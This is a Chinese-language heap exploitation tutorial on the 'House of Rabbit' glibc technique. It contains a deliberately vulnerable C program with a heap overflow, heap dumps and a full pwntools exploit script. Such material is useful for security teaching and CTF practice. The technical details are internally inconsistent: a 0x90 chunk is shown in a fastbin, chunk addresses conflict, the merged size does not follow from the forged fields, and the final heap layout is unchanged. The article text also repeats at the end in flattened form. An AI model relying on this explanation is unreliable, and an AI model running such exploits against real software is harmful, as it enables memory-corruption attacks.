House of Rabbit 深度剖析
字数 1323 2025-12-03 12:11:16

House of Rabbit 技术深度剖析

技术概述

House of Rabbit 是一种针对 glibc 堆分配器(ptmalloc2)的高级利用技术。随着 ASLR、PIE、NX 等防护机制的普及,传统栈溢出和代码注入变得困难,攻击焦点转向堆利用。该技术通过可控的堆溢出或写原语,伪造堆块元数据,利用 malloc_consolidate 的向前合并机制,最终实现任意地址分配或写入。

核心原理

malloc_consolidate 机制

malloc_consolidate 是 glibc 堆分配器的关键内部函数,主要功能包括:

  1. 将 fastbin 中的块移动到 unsorted bin
  2. 合并相邻的空闲块
  3. 整理堆内存碎片

触发条件:

  • 当 malloc 遇到 large bin 大小的请求(通常 > 64KB)
  • 当 malloc 发现 top chunk 不够用时
  • 在 free 函数中,当释放的块与 top chunk 相邻时
  • 某些特殊的分配模式下

技术核心思想

通过以下步骤实现利用:

  1. 通过堆溢出或其他内存破坏漏洞,伪造目标堆块的元数据
  2. 利用 malloc_consolidate 触发堆块合并检查
  3. 让分配器误认为存在合法的空闲块可以合并
  4. 将伪造的堆块纳入正式管理,实现任意地址分配或写入

实例分析

漏洞程序代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define LARGE_CHUNK 0x10000
#define MAX_OBJECTS 10

struct obj {
    size_t size;
    char *data;
};

struct obj *objects[MAX_OBJECTS];
int count = 0;

void create(size_t size) {
    if (count >= 10) return;
    
    objects[count] = malloc(sizeof(struct obj));
    objects[count]->size = size;
    objects[count]->data = malloc(size);
    
    printf("[+] Created object %d\n", count);
    printf("    Struct: %p\n", objects[count]);
    printf("    Data: %p\n", objects[count]->data);
    
    count++;
}

void write_data(int idx) {
    if (idx < 0 || idx >= count || !objects[idx]) return;
    
    printf("Writing to object %d (size: 0x%lx)\n", idx, objects[idx]->size);
    printf("Data: ");
    
    // 关键漏洞:堆溢出,可以多写 0x10 字节
    read(0, objects[idx]->data, objects[idx]->size + 0x10);
}

void delete(int idx) {
    if (idx < 0 || idx >= count || !objects[idx]) return;
    
    printf("[-] Freeing object %d\n", idx);
    free(objects[idx]->data);
    free(objects[idx]);
    objects[idx] = NULL;
}

void trigger_consolidate() {
    printf("[*] Triggering malloc_consolidate with large allocation\n");
    // 分配 large chunk 触发 consolidate
    void *large = malloc(LARGE_CHUNK);
    printf("Large allocation: %p\n", large);
    free(large);
}

void setup() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

int main() {
    setup();
    int choice, idx;
    
    while(1) {
        printf("\n1. Create chunk\n2. Write data\n3. Delete chunk\n");
        printf("4. Trigger consolidate\n5. Exit\n> ");
        scanf("%d", &choice);
        
        switch(choice) {
            case 1:
                printf("Size: ");
                size_t size;
                scanf("%lu", &size);
                create(size);
                break;
            case 2:
                printf("Index: ");
                scanf("%d", &idx);
                write_data(idx);
                break;
            case 3:
                printf("Index: ");
                scanf("%d", &idx);
                delete(idx);
                break;
            case 4:
                trigger_consolidate();
                break;
            case 5:
                return 0;
        }
    }
}

编译与调试

# 调试版本
gcc -g -o rabbit rabbit.c -no-pie -ldl

# 保护版本  
gcc -o rabbit rabbit.c -no-pie -Wl,-z,relro,-z,now

利用步骤详解

1. 堆布局与初始状态分析

利用脚本开始:

#!/usr/bin/env python3
from pwn import *

context(arch='amd64', os='linux', log_level='info')
p = process('./rabbit_detailed')

def create(size):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'Size: ', str(size).encode())

def write(idx, data):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'Index: ', str(idx).encode())
    p.sendafter(b'Data: ', data)

def delete(idx):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'Index: ', str(idx).encode())

def trigger():
    p.sendlineafter(b'> ', b'4')

# 建立精确的堆布局
log.info("构建堆布局")
create(0x88)  # object 0 - 溢出这个块
create(0x88)  # object 1 - 目标块,将被伪造  
create(0x88)  # object 2 - 保护块,防止与top chunk合并

堆布局分析:

Chunk(addr=0x603010, size=0x250, flags=)  # 主分配区
Chunk(addr=0x603260, size=0x90, flags=)   # obj0 struct
Chunk(addr=0x6032f0, size=0x90, flags=)   # obj1 struct
Chunk(addr=0x603380, size=0x90, flags=)   # obj2 struct
Chunk(addr=0x603410, size=0x90, flags=)   # obj0->data
Chunk(addr=0x6034a0, size=0x90, flags=)   # obj1->data  
Chunk(addr=0x603530, size=0x90, flags=)   # obj2->data
Chunk(addr=0x6035c0, size=0x20a50, flags=) # top chunk

2. 准备fastbin并分析状态

log.info("准备fastbin")
delete(1)  # 释放 obj1->data 到 fastbin

fastbin状态:

fastbins[7]: 0x603490 -> 0x0

被释放chunk详情:

0x603490: 0x0000000000000000 0x0000000000000091  # chunk header
0x6034a0: 0x0000000000000000 0x0000000000000000  # fd指针 (目前为0)

3. 溢出伪造堆块元数据

偏移计算:

  • obj0->data用户区: 0x603420
  • obj1->data头部: 0x603490
  • 偏移 = 0x603490 - 0x603420 = 0x70

伪造脚本:

log.info("伪造堆块元数据")
# 构造恶意payload
payload = b'A' * 0x70  # 填充到obj1->data头部前
payload += p64(0x80)   # prev_size = 0x80 (指向obj0->data)
payload += p64(0x20)   # size = 0x20, P=0 

write(0, payload)
log.info("已修改obj1->data的header:")
log.info("    prev_size = 0x80 -> 指向obj0->data")
log.info("    size = 0x20, P=0 -> 标记前一个块为空闲")

修改后的内存状态:

# obj1->data头部(已修改)
0x603490: 0x0000000000000080 0x0000000000000020

# obj0->data状态(仍为inuse)
0x603410: 0x0000000000000000 0x0000000000000091
0x603420: 0x4141414141414141 0x4141414141414141  # 'A'填充

4. 触发malloc_consolidate并观察合并

log.info("触发malloc_consolidate")
trigger()

合并过程分析:

  1. malloc_consolidate 处理 fastbin 中的块
  2. 由于设置了 P=0(前一个块空闲标志),分配器认为 obj0->data 是空闲块
  3. 检查前一个块(根据 prev_size=0x80 找到 obj0->data)
  4. 将两个块合并成大小为 0xb0 的大块
  5. 合并后的块放入 unsorted bin

合并后状态:

unsorted_bins[0]: 0x603400 —▸ 0x7ffff7dd1b78 —▸ 0x603400

# 合并后的chunk
0x603400: 0x0000000000000000 0x00000000000000b1  # 合并后的大小
0x603410: 0x00007ffff7dd1b78 0x00007ffff7dd1b78  # fd/bk指针

5. 验证利用效果并实现控制

log.info("验证利用效果")
create(0x88)  # 从控制的unsorted bin中分配

log.success("如果程序没有崩溃,说明堆控制已实现")
write(3, b"TEST_CONTROL")
log.info("尝试写入控制数据")

p.interactive()

分配后的堆状态:

Chunk(addr=0x603010, size=0x250, flags=) 
Chunk(addr=0x603260, size=0x90, flags=)   # obj0 struct
Chunk(addr=0x6032f0, size=0x90, flags=)   # obj1 struct (已free)
Chunk(addr=0x603380, size=0x90, flags=)   # obj2 struct
Chunk(addr=0x603410, size=0x90, flags=)   # obj0->data (现在被obj3使用)
Chunk(addr=0x6034a0, size=0x90, flags=)   # obj1->data (已合并)
Chunk(addr=0x603530, size=0x90, flags=)   # obj2->data
Chunk(addr=0x6035c0, size=0x20a50, flags=) # top chunk

完整利用脚本

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

def exploit():
    p = process('./rabbit_detailed')
    # raw_input("Attach GDB and press Enter...")
    
    def create(size):
        p.sendlineafter(b'> ', b'1')
        p.sendlineafter(b'Size: ', str(size).encode())
    
    def write(idx, data):
        p.sendlineafter(b'> ', b'2')
        p.sendlineafter(b'Index: ', str(idx).encode())
        p.sendafter(b'Data: ', data)
    
    def delete(idx):
        p.sendlineafter(b'> ', b'3')
        p.sendlineafter(b'Index: ', str(idx).encode())
    
    def trigger():
        p.sendlineafter(b'> ', b'4')
    
    log.info("开始House of Rabbit利用...")
    
    # 堆布局
    log.info("构建堆布局")
    create(0x88)  # 0
    create(0x88)  # 1目标
    create(0x88)  # 2保护
    
    # 释放到fastbin
    log.info("释放目标块到fastbin")
    delete(1)
    
    # 溢出伪造元数据
    log.info("溢出伪造chunk元数据")
    payload = b'A' * 0x70
    payload += p64(0x80)  # prev_size
    payload += p64(0x20)  # size with P=0
    write(0, payload)
    
    # 触发consolidate
    log.info("触发malloc_consolidate")
    trigger()
    
    # 验证控制
    log.info("验证堆控制")
    create(0x88)  # 从控制的unsorted bin分配
    
    log.success("利用完成!获得堆控制权")
    p.interactive()

if __name__ == "__main__":
    exploit()

技术要点总结

  1. 精确堆布局:需要精心安排堆块的位置和大小关系
  2. 元数据伪造:关键是通过溢出修改chunk的prev_size和size字段
  3. 标志位利用:P位(PREV_INUSE)的清除是触发合并的关键
  4. 触发条件:需要准确触发malloc_consolidate机制
  5. 内存对齐:所有伪造的地址和大小都需要符合堆分配器的对齐要求

防护与检测

  • 使用堆完整性检查工具如AddressSanitizer
  • 启用堆保护机制如Glibc的export MALLOC_CHECK_=1
  • 定期更新glibc版本以获取最新的安全修复
  • 实施严格的输入验证和边界检查

该技术展示了现代堆利用的复杂性,强调了在安全开发中实施深度防御策略的重要性。

House of Rabbit 技术深度剖析 技术概述 House of Rabbit 是一种针对 glibc 堆分配器(ptmalloc2)的高级利用技术。随着 ASLR、PIE、NX 等防护机制的普及,传统栈溢出和代码注入变得困难,攻击焦点转向堆利用。该技术通过可控的堆溢出或写原语,伪造堆块元数据,利用 malloc_consolidate 的向前合并机制,最终实现任意地址分配或写入。 核心原理 malloc_ consolidate 机制 malloc_consolidate 是 glibc 堆分配器的关键内部函数,主要功能包括: 将 fastbin 中的块移动到 unsorted bin 合并相邻的空闲块 整理堆内存碎片 触发条件: 当 malloc 遇到 large bin 大小的请求(通常 > 64KB) 当 malloc 发现 top chunk 不够用时 在 free 函数中,当释放的块与 top chunk 相邻时 某些特殊的分配模式下 技术核心思想 通过以下步骤实现利用: 通过堆溢出或其他内存破坏漏洞,伪造目标堆块的元数据 利用 malloc_consolidate 触发堆块合并检查 让分配器误认为存在合法的空闲块可以合并 将伪造的堆块纳入正式管理,实现任意地址分配或写入 实例分析 漏洞程序代码 编译与调试 利用步骤详解 1. 堆布局与初始状态分析 利用脚本开始: 堆布局分析: 2. 准备fastbin并分析状态 fastbin状态: 被释放chunk详情: 3. 溢出伪造堆块元数据 偏移计算: obj0->data用户区: 0x603420 obj1->data头部: 0x603490 偏移 = 0x603490 - 0x603420 = 0x70 伪造脚本: 修改后的内存状态: 4. 触发malloc_ consolidate并观察合并 合并过程分析: malloc_consolidate 处理 fastbin 中的块 由于设置了 P=0(前一个块空闲标志),分配器认为 obj0->data 是空闲块 检查前一个块(根据 prev_ size=0x80 找到 obj0->data) 将两个块合并成大小为 0xb0 的大块 合并后的块放入 unsorted bin 合并后状态: 5. 验证利用效果并实现控制 分配后的堆状态: 完整利用脚本 技术要点总结 精确堆布局 :需要精心安排堆块的位置和大小关系 元数据伪造 :关键是通过溢出修改chunk的prev_ size和size字段 标志位利用 :P位(PREV_ INUSE)的清除是触发合并的关键 触发条件 :需要准确触发 malloc_consolidate 机制 内存对齐 :所有伪造的地址和大小都需要符合堆分配器的对齐要求 防护与检测 使用堆完整性检查工具如AddressSanitizer 启用堆保护机制如Glibc的 export MALLOC_CHECK_=1 定期更新glibc版本以获取最新的安全修复 实施严格的输入验证和边界检查 该技术展示了现代堆利用的复杂性,强调了在安全开发中实施深度防御策略的重要性。